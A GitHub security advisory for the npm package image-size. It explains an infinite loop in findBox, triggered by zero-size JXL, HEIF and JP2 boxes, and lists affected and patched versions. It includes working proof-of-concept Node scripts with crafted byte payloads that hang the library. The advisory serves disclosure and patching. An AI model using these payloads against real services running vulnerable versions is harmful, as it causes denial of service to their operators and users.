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image-size Denial of Service via Infinite Loop during Image Processing

High severity GitHub Reviewed Published Apr 2, 2025 in image-size/image-size • Updated May 28, 2025

Package

npm image-size (npm)

Affected versions

>= 1.1.0, < 1.2.1
>= 2.0.0, < 2.0.2

Patched versions

1.2.1
2.0.2

Description

Summary

image-size is vulnerable to a Denial of Service vulnerability when processing specially crafted images.

The issue occurs because of an infine loop in findBox when processing certain images with a box with size 0.

Details

If the first bytes of the input does not match any bytes in firstBytes, then the package tries to validate the image using other handlers:

// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31
export function detector(input: Uint8Array): imageType | undefined {
  const byte = input[0]
  if (byte in firstBytes) {
    const type = firstBytes[byte]
    if (type && typeHandlers[type].validate(input)) {
      return type
    }
  }

  const finder = (key: imageType) => typeHandlers[key].validate(input) //<--
  return keys.find(finder)
}

Some handlers that call findBox to validate or calculate the image size are jxl, heif and jp2.

JXL handler calls findBox inside validate. To reach the findBox call, the value at position 4:8 should be 'JXL '

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60
export const JXL: IImage = {
  validate: (input: Uint8Array): boolean => {
    const boxType = toUTF8String(input, 4, 8)
    if (boxType !== 'JXL ') return false      //<---

    const ftypBox = findBox(input, 'ftyp', 0) //<---
    if (!ftypBox) return false

    const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)
    return brand === 'jxl '
  },

findBox can lead to an infinite loop because the value of box.size is 0, thus the offset variable is not updated. Below relevant code with comments (using one of the PAYLOAD below as example):

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37
export const readUInt32BE = (input: Uint8Array, offset = 0) =>
  input[offset] * 2 ** 24 +     // 0 +
  input[offset + 1] * 2 ** 16 + // 0 +
  input[offset + 2] * 2 ** 8 +  // 0 +
  input[offset + 3]             // 0

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75
function readBox(input: Uint8Array, offset: number) {   // offset: 0
  if (input.length - offset < 4) return
  const boxSize = readUInt32BE(input, offset)           // 0
  if (input.length - offset < boxSize) return           // (8 - 0) < 0 => false
  return {
    name: toUTF8String(input, 4 + offset, 8 + offset),  // 'JXL '
    offset,                                             // 0
    size: boxSize,                                      // 0
  }
}

// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84
export function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0
  while (offset < input.length) {         // 0 < 8 => false
    const box = readBox(input, offset)    // { name: 'JXL ', offset: 0, size: 0 }
    if (!box) break                       // false
    if (box.name === boxName) return box  // 'JXL ' === 'ftyp' => false
    offset += box.size                    // offset += 0
  }
}

A similar issue occurs for HEIF and JP2 handlers:

PoC

Usage:

node main.js poc1|poc2
// mkdir 2.0.1
// cd 2.0.1/
// npm i [email protected]
const {imageSizeFromFile} = require("image-size/fromFile");
const {imageSize} = require("image-size");

const fs = require('fs');

// JXL
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);

// HEIF
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x66, 0x74, 0x79, 0x70, // "ftyp"
//   0x61, 0x76, 0x69, 0x66  // "avif"
// ]);

// JP2
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x6A, 0x50, 0x20, 0x20, // "jP  "
// ]);

const FILENAME = "./poc.svg"

function createPayload() {
  fs.writeFileSync(FILENAME, PAYLOAD);
}

function poc1() { 
  (async () => {
    await imageSizeFromFile(FILENAME)
    console.log('Done') // never executed
  })();
}

function poc2() {
  imageSize(PAYLOAD)
  console.log('Done') // never executed
}

const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2

async function run() {
  createPayload()
  const args = process.argv.slice(2);
  const t = args[0];
  const poc = pocs.get(t) || poc1;
  console.log(`Running poc....`)
  await poc();
}

run();
// mkdir 1.2.0
// cd 1.2.0/
// npm i [email protected]
const sizeOf = require("image-size");
const fs = require('fs');

// JXL
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);

// HEIF
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x66, 0x74, 0x79, 0x70, // "ftyp"
//   0x61, 0x76, 0x69, 0x66  // "avif"
// ]);

// JP2
// const PAYLOAD = new Uint8Array([
//   0x00, 0x00, 0x00, 0x00, // Box with size 0
//   0x6A, 0x50, 0x20, 0x20, // "jP  "
// ]);

const FILENAME = "./poc.svg"

function createPayload() {
  fs.writeFileSync(FILENAME, PAYLOAD);
}

function poc1() {
  sizeOf(FILENAME)
  console.log('Done') // never executed
}

function poc2() {
  sizeOf(PAYLOAD)
  console.log('Done') // never executed
}

const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2

async function run() {
  createPayload()
  const args = process.argv.slice(2);
  const t = args[0];
  const poc = pocs.get(t) || poc1;
  console.log(`Running poc....`)
  await poc();
}

run();
// mkdir 1.1.1
// cd 1.1.1/
// npm i [email protected]
const sizeOf = require("image-size");
const fs = require('fs');

// HEIF
const PAYLOAD = new Uint8Array([
  0x00, 0x00, 0x00, 0x00, // Box with size 0
  0x66, 0x74, 0x79, 0x70, // "ftyp"
  0x61, 0x76, 0x69, 0x66  // "avif"
]);

const FILENAME = "./poc.svg"

function createPayload() {
  fs.writeFileSync(FILENAME, PAYLOAD);
}

function poc1() {
  sizeOf(FILENAME)
  console.log('Done') // never executed
}

function poc2() {
  sizeOf(PAYLOAD)
  console.log('Done') // never executed
}

const pocs = new Map();
pocs.set('poc1', poc1); // node main.js poc1
pocs.set('poc2', poc2); // node main.js poc2

async function run() {
  createPayload()
  const args = process.argv.slice(2);
  const t = args[0];
  const poc = pocs.get(t) || poc1;
  console.log(`Running poc....`)
  await poc();
}

run();

Impact

Denial of Service

References

@netroy netroy published to image-size/image-size Apr 2, 2025
Published to the GitHub Advisory Database Apr 2, 2025
Reviewed Apr 2, 2025
Last updated May 28, 2025

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

EPSS score

Weaknesses

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-m5qc-5hw7-8vg7

Source code

Credits

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